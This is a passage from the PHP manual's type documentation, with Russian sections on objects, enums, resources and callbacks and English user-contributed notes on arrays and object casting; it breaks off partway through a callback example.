$arr = ['bebe' => 'Bob', 'age' => [1,2], 'too' => [1,2] ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
  'too' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
thomas tulinsky 17-Feb-2016 08:10
I think your first, main example is needlessly confusing, very confusing to newbies:

$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

It should be removed.

For newbies:
An array index can be any string value, even a value that is also a value in the array.
The value of array["foo"] is "bar".
The value of array["bar"] is "foo"

The following expressions are both true:
$array["foo"] == "bar"
$array["bar"] == "foo"
note dot php dot lorriman at spamgourmet dot org 09-Jan-2014 03:01
There is another kind of array (php>=  5.3.0) produced by

$array = new SplFixedArray(5);

Standard arrays, as documented here, are marvellously flexible and, due to the underlying hashtable, extremely fast for certain kinds of lookup operation.

Supposing a large string-keyed array

$arr=['string1'=>$data1, 'string2'=>$data2 etc....]

when getting the keyed data with

$data=$arr['string1'];

php does *not* have to search through the array comparing each key string to the given key ('string1') one by one, which could take a long time with a large array. Instead the hashtable means that php takes the given key string and computes from it the memory location of the keyed data, and then instantly retrieves the data. Marvellous! And so quick. And no need to know anything about hashtables as it's all hidden away.

However, there is a lot of overhead in that. It uses lots of memory, as hashtables tend to (also nearly doubling on a 64bit server), and should be significantly slower for integer keyed arrays than old-fashioned (non-hashtable) integer-keyed arrays. For that see more on SplFixedArray :

http://uk3.php.net/SplFixedArray

Unlike a standard php (hashtabled) array, if you lookup by integer then the integer itself denotes the memory location of the data, no hashtable computation on the integer key needed. This is much quicker. It's also quicker to build the array compared to the complex operations needed for hashtables. And it uses a lot less memory as there is no hashtable data structure. This is really an optimisation decision, but in some cases of large integer keyed arrays it may significantly reduce server memory and increase performance (including the avoiding of expensive memory deallocation of hashtable arrays at the exiting of the script).
chris at ocportal dot com 28-May-2013 09:01
Note that array value buckets are reference-safe, even through serialization.

<?php
$x='initial';
$test=array('A'=>&$x,'B'=>&$x);
$test=unserialize(serialize($test));
$test['A']='changed';
echo $test['B']; // Outputs "changed"
?>

This can be useful in some cases, for example saving RAM within complex structures.
mlvljr 20-May-2011 06:37
please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php).
ken underscore yap atsign email dot com 09-Jan-2008 08:00
"If you convert a NULL value to an array, you get an empty array."

This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found.

<?php $values = search(...); ?>

Now you want to merge the array with another array. What do we do if $values is NULL? No problem:

<?php $combined = array_merge((array)$values, $other); ?>

Voila.
ia [AT] zoznam [DOT] sk 30-Sep-2005 02:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
    $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
    $arr[ $key ] = 1;
}
?>
caifara aaaat im dooaat be 28-Aug-2005 02:28
[Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.]

Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
    $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
        )
) */

foreach( $together as $key => $value ) {
    $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
            [c] => 3
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
            [c] => 3
        )
)
*/

?>
jeff splat codedread splot com 21-Apr-2005 09:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
    printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="Windows3.1" value="Sux">
    <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
lars-phpcomments at ukmix dot net 28-Mar-2005 08:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>


Объекты

Инициализация объекта

Для создания нового объекта, используйте выражение new, создающее в переменной экземпляр класса:

<?php
class foo
{
function do_foo()
{
echo "Код foo.";
}
}

$bar = new foo;
$bar->do_foo();
?>

Полное рассмотрение производится в разделе Классы и Объекты.

Преобразование в объект

Если object преобразуется в object, объект не изменится. Если значение другого типа преобразуется в object, создаётся новый экземпляр встроенного класса stdClass. Если значение было null, новый экземпляр будет пустым. Массивы преобразуются в object с именами полей, названными согласно ключам массива и соответствующими им значениям. Обратите внимание, что в этом случае до PHP 7.2.0 числовые ключи не будут доступны, пока не проитерировать объект.

<?php
$obj = (object) array('1' => 'foo');
var_dump(isset($obj->{'1'})); // выводит 'bool(true)', начиная с PHP 7.2.0; 'bool(false)' ранее
var_dump(key($obj)); // выводит 'string(1) "1"', начиная с PHP 7.2.0; 'int(1)' ранее
?>

При преобразовании любого другого значения, оно будет помещено в поле с именем scalar соответствующему типу.

<?php
$obj = (object) 'привет';
echo $obj->scalar; // выведет 'привет'
?>

User Contributed Notes

uchephilz 15-Jul-2020 02:30
**Shorthand**

`$object = json_decode(json_encode($array));`

Or

`$jsonString = json_encode($array);
$object = json_decode($jsonString);`
Luis 02-Apr-2018 09:17
another way to instantiate an empty generic php object:

<?php $dataObj = json_decode('{}'); ?>
dr dot mustafa dot darwish at gmail dot com 25-Mar-2018 12:14
in php 7.2 this code works despite documentation said it gives false

<?php
$obj = (object) array('1' => 'foo');

//output foo
echo $obj->{'1'};

?>
aditycse at gmail dot com 10-Nov-2017 04:00
<?php

/**
 * Used for checking empty objects/array
 * @uses How to check empty objects and array in php code
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */

/**
 * Empty class
 */
class EmptyClass {

}

$obj = new stdClass();
//or any other class empty object
$emptyClassObj = new EmptyClass();
$array = array();

if (empty($array)) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (empty($obj)) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}
echo "<br>";

if (empty($emptyClassObj)) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}
echo "<br>";

//Result SET 1
//array is empty      => expected result
//object is not empty => ouch what happened
//EmptyClass is not empty => ouch what happened

/**
 * So what we do for checking empty object
 * @solution use any known property or check property count
 * Or you can use below method
 * Count function will not return 0 in empty object
 */

//Below line print "Object count:1"
echo 'Object count:' . count($obj);

echo "<br>";

/**
 * This function is used to get object item counts
 * @function getCount
 * @access public
 * @param object|array $var
 * @return integer
 */
function getCount($var) {
    $count = 0;
    if (is_array($var) || is_object($var)) {
        foreach ($var as $value) {
            $count++;
        }
    }
    unset($value);
    return $count;
}

//Running code again with new logic
if (getCount($array) === 0) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (getCount($obj) === 0) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}

echo "<br>";

if (getCount($emptyClassObj) === 0) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}

//Result SET 2
//array is empty    => expected result  ##everything is all right
//object is empty   => expected result  ##everything is all right
//EmptyClass is empty   => expected result  ##everything is all right
brian dot weber1337 at gmail dot com 02-Feb-2017 10:24
In PHP 5+, objects are passed by reference. This has got me into trouble in the past when I've tried to make arrays of objects.
For example, I once wrote something like the following code, thinking that I'd get an array of distinct objects. However, this is wrong. This code will create an array of multiple references to the same object.

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  $arrayItem = new myNumber();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [1]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [2]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
}

notice that the value at each index in the array is the same. That is because the array is just 3 references to the same object, but we change the property of this object every time the for loop runs. This isn't very useful. Instead, I've changed the code below so that it will create an array with three distinct references to three distinct objects. (if you're having a hard time understanding references, think of this as an array of objects, and that this is just the syntax you have to use.)

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem = new myNumber();
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(0)
  }
  [1]=>
  object(myNumber)#2 (1) {
    ["value"]=>
    int(1)
  }
  [2]=>
  object(myNumber)#3 (1) {
    ["value"]=>
    int(2)
  }
}

Notice how the creation of a new object ("$arrayItem = new myNumber();") must happen every time the for loop runs for this to work.
This took me forever to figure out, so I hope this helps someone else.
Walter Tross 20-Jan-2017 04:50
If you need to force json_encode() to produce an object even when an array is empty or does not have successive 0-based numeric indices, you can simply convert the array to an object. JSON_FORCE_OBJECT does the same with ALL arrays, which might not be what you want.

<?php

echo json_encode([[]]), "\n";
// output: [[]]

echo json_encode([[]], JSON_FORCE_OBJECT), "\n";
// output: {"0":{}}

echo json_encode([(object)[]]), "\n";
// output: [{}]

echo json_encode([0=>"a", 1=>"b", 9=>"c"]), "\n";
// output: {"0":"a","1":"b","9":"c"}

echo json_encode([0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: ["a","b","c"]

echo json_encode((object)[0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: {"0":"a","1":"b","2":"c"}
?>
solly dot ucko at google dot com 27-Apr-2016 05:09
To create an object with values, in javascript you would use `{key: value}`. In PHP you use `[key=>value]`.
developer dot amankr at gmail dot com (Aman Kuma) 11-Mar-2016 10:27
<!--Example shows how to convert array to stdClass Object and how to access its value for display -->
<?php
$num = array("Garha","sitamarhi","canada","patna"); //create an array
$obj = (object)$num; //change array to stdClass object

echo "<pre>";
print_r($obj); //stdClass Object created by casting of array

$newobj = new stdClass();//create a new
$newobj->name = "India";
$newobj->work = "Development";
$newobj->address="patna";

$new = (array)$newobj;//convert stdClass to array
echo "<pre>";
print_r($new); //print new object

##How deals with Associative Array

$test = [Details=>['name','roll number','college','mobile'],values=>['Naman Kumar','100790310868','Pune college','9988707202']];
$val = json_decode(json_encode($test),false);//convert array into stdClass object

echo "<pre>";
print_r($val);

echo ((is_array($val) == true ?  1 : 0 ) == 1 ? "array" : "not an array" )."</br>"; // check whether it is array or not
echo ((is_object($val) == true ?  1 : 0 ) == 1 ? "object" : "not an object" );//check whether it is object or not
?>
Anthony 18-Jan-2016 10:36
In PHP 7 there are a few ways to create an empty object:

<?php
$obj1 = new \stdClass; // Instantiate stdClass object
$obj2 = new class{}; // Instantiate anonymous class
$obj3 = (object)[]; // Cast empty array to object

var_dump($obj1); // object(stdClass)#1 (0) {}
var_dump($obj2); // object(class@anonymous)#2 (0) {}
var_dump($obj3); // object(stdClass)#3 (0) {}
?>

$obj1 and $obj3 are the same type, but $obj1 !== $obj3. Also, all three will json_encode() to a simple JS object {}:

<?php
echo json_encode([
    new \stdClass,
    new class{},
    (object)[],
]);
?>

Outputs: [{},{},{}]
twitter/matt2000 21-Apr-2015 09:28
As of PHP 5.4, we can create stdClass objects with some properties and values using the more beautiful form:

<?php
  $object = (object) [
    'propertyOne' => 'foo',
    'propertyTwo' => 42,
  ];
?>
Ashley Dambra 21-Feb-2014 06:38
Here a new updated version of 'stdObject' class. It's very useful when extends to controller on MVC design pattern, user can create it's own class.

Hope it help you.

 <?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                $this->{$property} = $argument;
            }
        }
    }

    public function __call($method, $arguments) {
        $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this).
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

// Usage.

$obj = new stdObject();
$obj->name = "Nick";
$obj->surname = "Doe";
$obj->age = 20;
$obj->adresse = null;

$obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject).
    echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse;
};

$func = "setAge";
$obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method.
    $stdObject->age = $age;
};

$obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'.

// Create dynamic method. Here i'm generating getter and setter dynimically
// Beware: Method name are case sensitive.
foreach ($obj as $func_name => $value) {
    if (!$value instanceOf Closure) {

        $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            $stdObject->{$func_name} = $value;
        };

        $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            return $stdObject->{$func_name};
        };

    }
}

$obj->setName("John");
$obj->setAdresse("Boston");

$obj->getInfo();
?>
Ashley Dambra 19-Feb-2014 06:51
Class like stdClass but with the possibility to add and execute function.

class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}
wyattstorch42 at outlook dot com 31-Dec-2013 05:07
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
qeremy [atta] gmail [dotta] com 02-Mar-2012 12:41
Do you remember some JavaScript implementations?

// var timestamp = (new Date).getTime();

Now it's possible with PHP 5.4.*;

<?php
class Foo
{
    public $a = "I'm a!";
    public $b = "I'm b!";
    public $c;

    public function getB() {
        return $this->b;
    }

    public function setC($c) {
        $this->c = $c;
        return $this;
    }

    public function getC() {
        return $this->c;
    }
}

print (new Foo)->a;      // I'm a!
print (new Foo)->getB(); // I'm b!
?>

or

<?php
// $_GET["c"] = "I'm c!";
print (new Foo)
       ->setC($_GET["c"])
       ->getC(); // I'm c!
?>
helpful at stranger dot com 04-Jan-2012 01:15
By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose:

<?php $genericObject = new stdClass(); ?>

I had the most difficult time finding this, hopefully it will help someone else!
Cosmitar: mhherrera31 at hotmail 07-Dec-2010 10:47
i would like to share a curious behavior on casted objects. Casting an object from a class with private/protected attributes results a stdClass with a private/protected attribute for get.
Example:
<?PHP
class Foo{
 private $priv = 1;
 public $pub = 2;
 public function getSimple(){
  return (object)(array) $this; //the array cast is to force a stdClass result
 }
}
$bar = new Foo();
var_dump($bar->getSimple();// output: object(stdClass)#3 (2) { ["priv:private"]=> int(1) ["pub"]=> int(2) }

var_dump($bar->getSimple()->priv);// output: NULL, not a Fatal Error
var_dump($bar->getSimple()->pub);// output: int(2)

$barSimple = $bar->getSimple();
$barSimple->priv = 10;
var_dump($barSimple->priv);// output: int(10)

?>
Anonymous 05-Jan-2010 02:10
Initialization, Instantiation and Instances are terms that can be confusing at first. Let's try to sort it out starting with this simple class definition.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now create several INSTANCES of User by INSTANTIATING the User class above.

<?php
$user_1 = new User;        // $user_1 is an INSTANCE of User
$user_2 = new User;        // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';     // User [first='', last='']
echo $user_2 . '<br>';     // User [first='', last='']
?>

Here we have (2) two INSTANCES of User, but each instance was only INSTANTIATED once - when we used the 'new' operator.

And now looking at the printed output, you can see there are no values for their first or last names. This means that the objects themselves have NOT been INITIALIZED. To remedy this situation, rewrite the class definition by adding a __construct() method.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __construct($first, $last)    // Require first and last names when INSTANTIATING
  {
    $this->first_name = $first;                 // INITIALIZE $first_name;
    $this->last_name = $last;                   // INITIALIZE $last_name;
  }

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now try it again.

<?php
$user_1 = new User('John', 'Doe');      // $user_i is an INSTANCE of User
$user_2 = new User('Jane', 'Doe');      // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';                  // prints: User [first='John', last='Doe']
echo $user_2 . '<br>';                  // prints: User [first='Jane', last='Doe']
?>

The __construct() method is called automatically by PHP when it sees the 'new' operator. Our __construct() method above requires the first and last names to be passed in as arguments and uses them to INITIALIZE objects when INSTANTIATING new INSTANCES.
mailto dot aurelian at gmail dot com 18-Dec-2009 09:56
You can create [recursive] objects with something like:
<?php
  $literalObjectDeclared = (object) array(
     'foo' => (object) array(
          'bar' => 'baz',
          'pax' => 'vax'
      ),
      'moo' => 'ui'
   );
print $literalObjectDeclared->foo->bar; // outputs "baz"!
?>
spidgorny at gmail dot com 22-Jul-2009 01:58
If having

class BugDetails extends Bug

you want to cast an object of a Bug to BugDetails like this
<?php
    $clone = (BugDetails) clone $this;
// OR
    $clone = (BugDetails) $bug;
?>
which doesn't work in PHP, you have two options:
1. Copying all (including private) properties manually (you could also use get_object_vars(), but this is shorter):
<?php
    $clone = new BugDetails();
    foreach ($this as $key => $val) {
        $clone->$key = $val;
    }
?>
2. Serialize an object Bug, manipulate the resulting string so that it has BugDetails inside and unserialize it.
See here: http://blog.adaniels.nl/articles/a-dark-corner-of-php-class-casting/

Spent two hours looking for more elegant solution, that's my findings.
cFreed at orange dot fr 22-Apr-2009 06:21
CAUTION:
"Arrays convert to an object with properties named by keys, and corresponding values".

This is ALWAYS true, which means that even numeric keys are accepted when converting.
But the resulting properties cannot be accessed, since they don't match the variables naming rules.

So this:
<?php
$x = (object) array('a'=>'A', 'b'=>'B', 'C');
echo '<pre>'.print_r($x, true).'</pre>';
?>
works and displays:
stdClass Object
(
    [a] => A
    [b] => B
    [0] => C
)

But this:
<?php
echo '<br />'.$x->a;
echo '<br />'.$x->b;
echo '<br />'.$x->{0}; # (don't use $x->0, which is obviously a syntax error)
?>
fails and displays:
A
B
Notice: Undefined property: stdClass::$0 in...
Isaac Z. Schlueter i at foohack dot com 30-Aug-2008 05:31
In response to Harmor and Mithras,  you can use the json functions to convert multi-dimensional arrays to objects very reliably.

Also, note that just using (object)$x doesn't allow you to access properties inline.  For example, this is invalid:

<?php
$x = array("foo"=>"bar");
echo ((object)$x)->foo; // PHP Parse error, unexpected T_OBJECT_OPERATOR
?>

However, this function will let you do that, and will also handle multi-dimensional arrays without any hassle.

<?php
function to_object ($x) {
    return (is_object($x) || is_array($x)) ? json_decode(json_encode($x)) : (object) $x;
}

echo to_object( array("foo"=>"bar") )->foo; // "bar"
?>

Note that *numeric* arrays will not be converted to objects using this method.
Mithras 21-Aug-2008 06:54
In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with:

<?php
function arrayToObject( $array ){
  foreach( $array as $key => $value ){
    if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value );
  }
  return (object) $array;
}
?>
gabe at fijiwebdesign dot com 21-May-2007 09:25
In response to sirbinam.
You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword.

The code below works fine and illustrates that "stdout" has been defined before its instantiation.

<?php

class profiler{
  function profiler(){
    $this->starttime = microtime();
  }

  function dump(){
    global $stdout;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime;
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$profiler =& new profiler();
$profiler->dump();

?>

All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet.
ludvig dot ericson at gmail dot com 18-Aug-2006 03:35
In reply to the usort thing, you can access a property of an object dynamically by:
<?php
$obj = (object)array("Test" => "bar")
$var = "Test";
echo $obj->$var;
?>
This will output "bar", and do notice I call on ->$var and not just ->var.
Trevor Blackbird > yurab.com 26-Nov-2005 09:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
iblun at gmx dot net 09-Mar-2005 05:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
    for ($a=0;$a < (count($objectarray)); $a++)
    {
        for ($b=0;$b < (count($objectarray)); $b++)
        {
            if ($objectarray[$a]->$field < $objectarray[$b]->$field)
            {
                $temp = $objectarray[$a];
                $objectarray[$a] = $objectarray[$b];
                $objectarray[$b] = $temp;
            }
        }
    }

    return $objectarray;
}
mortoray at ecircle-ag dot com 16-Feb-2005 02:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
    var $item = 3;
}

    $a = array( new Store() );
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 3

    $a = array();
    $a[] =& new Store();
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
info at keltoi-web dot com 25-Aug-2003 02:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.


Перечисления

(PHP 8 >= 8.1.0)

Основы перечислений

Перечисления - это ограничивающий слой над классами и константами классов, предназначенный для предоставления способа определения закрытого набора возможных значений для типа.

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

function do_stuff(Suit $s)
{
// ...
}

do_stuff(Suit::Spades);
?>

Полное описание смотрите в главе о перечислениях.

Casting

Если перечисление (enum) преобразуется в объект (object), оно не изменяется. Если перечисление (enum) преобразуется в массив (array), то создаётся массив с одним ключом name (для простых перечислений) или массив с двумя ключами name и value (для типизированных перечислений). Все остальные приведения типов приведут к ошибке.

User Contributed Notes

esdras-schonevald 16-May-2022 02:07
https://gist.github.com/esdras-schonevald/71a6730e6191c5e9c053e2f65b839eec

<?php

declare(strict_types=1);

/**
 * This is a sample
 * How to use Enum to create a custom exception cases
 * PHP 8.1^
 */

enum MyExceptionCase {
    case InvalidMethod;
    case InvalidProperty;
    case Timeout;
}

class MyException extends Exception {
    function __construct(private MyExceptionCase $case){
        match($case){
            MyExceptionCase::InvalidMethod      =>    parent::__construct("Bad Request - Invalid Method", 400),
            MyExceptionCase::InvalidProperty    =>    parent::__construct("Bad Request - Invalid Property", 400),
            MyExceptionCase::Timeout            =>    parent::__construct("Bad Request - Timeout", 400)
        };
    }
}

// Testing my custom exception class
try {
    throw new MyException(MyExceptionCase::InvalidMethod);
} catch (MyException $myE) {
    echo $myE->getMessage();  // Bad Request - Invalid Method
}


Ресурс

Resource - это специальная переменная, содержащая ссылку на внешний ресурс. Ресурсы создаются и используются специальными функциями. Полный перечень этих функций и соответствующих типов ресурсов (resource) смотрите в приложении.

Смотрите также описание функции get_resource_type().

Преобразование в ресурс

Поскольку тип resource содержит специальные указатели на открытые файлы, соединения с базой данных, области изображения и тому подобное, преобразование в этот тип не имеет смысла.

Освобождение ресурсов

Благодаря системе подсчёта ссылок, введённой в Zend Engine, определение отсутствия ссылок на ресурс происходит автоматически, после чего он освобождается сборщиком мусора. Поэтому очень редко требуется освобождать память вручную.

Замечание: Постоянные соединения с базами данных являются исключением из этого правила. Они не уничтожаются сборщиком мусора. Подробнее смотрите в разделе о постоянных соединениях.

User Contributed Notes

mmenzel at it-economics dot de 26-Oct-2022 09:52
'stream' is a general resource type and can have specific subtypes (imap, pop, curl ...). Casting from 'stream' to them makes sense alright.

E.g. Making OAUTH2 work for imap, but still use the normal imap_ functions. Just open a ssl:// stream to the IMAP server with stream_socket_client(), send the "AUTHENTICATE XOAUTH2 ..." authentication with valid token and then use the imap_ functions on the casted 'stream' to 'imap' resource.
Not being able to cast from 'stream' to 'imap' makes it necessary to use 3rd party solutions, like php-imap. Doesn't have to be necessary, if the cast would be possible.


Функции обратного вызова (callback-функции)

Callback-функции могут быть обозначены объявлением типа callable.

Некоторые функции, такие как call_user_func() или usort(), принимают определённые пользователем callback-функции в качестве параметра. Callback-функции могут быть как простыми функциями, так и методами объектов, включая статические методы классов.

Передача

В PHP функции передаются по имени в виде строки. Можно использовать любые встроенные,
либо созданные пользователем функции, за исключением конструкций языка, таких как:
array(), echo,
empty(), eval(),
exit(), isset(),
list(), print или
unset().

Метод созданного объекта (object) передаётся как массив, содержащий объект по индексу 0 и имя метода по индексу 1. Доступ к закрытым и защищённым методам разрешён изнутри класса.

Статические методы класса также могут быть вызваны без создания экземпляра объекта класса путём передачи имени класса вместо объекта в элементе массива с индексом 0 или выполнения 'ClassName::methodName'.

Помимо обычных пользовательских функций, в качестве callback-функции можно передавать анонимные функции и стрелочные функции.

Замечание:

Начиная с PHP 8.1.0, у Callback-функций как объектов первого класса та же семантика, что и у этого метода.

Как правило, любой объект, реализующий __invoke(), также может быть передан в параметр callback.

Пример #1 Пример callback-функции

<?php

// Пример callback-функции
function my_callback_function() {
echo 'Привет, мир!';
}

// Пример callback-метода
class MyClass {
static function myCallbackMethod() {
echo 'Привет, мир!';
}
}

// Тип 1: Простой callback
call_user_func('my_callback_function');

// Тип 2: Вызов статического метода класса
call_user_func(array('MyClass', 'myCallbackMethod'));

// Тип 3: Вызов метода класса
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// Тип 4: Вызов статического метода класса
call_user_func('MyClass::myCallbackMethod');

// Тип 5: Вызов относительного статического метода
class A {
public static function who() {
echo "A\n";
}
}

class B extends A {
public static function who() {
echo "B\n";
}
}

call_user_func(array('B', 'parent::who')); // A, устарело, начиная с PHP 8.2.0

// Тип 6: Объекты, реализующие __invoke, могут быть использованы как callback
class C {
public function __invoke($name) {
echo 'Привет ', $name, "\n";
}
}

$c = new C();
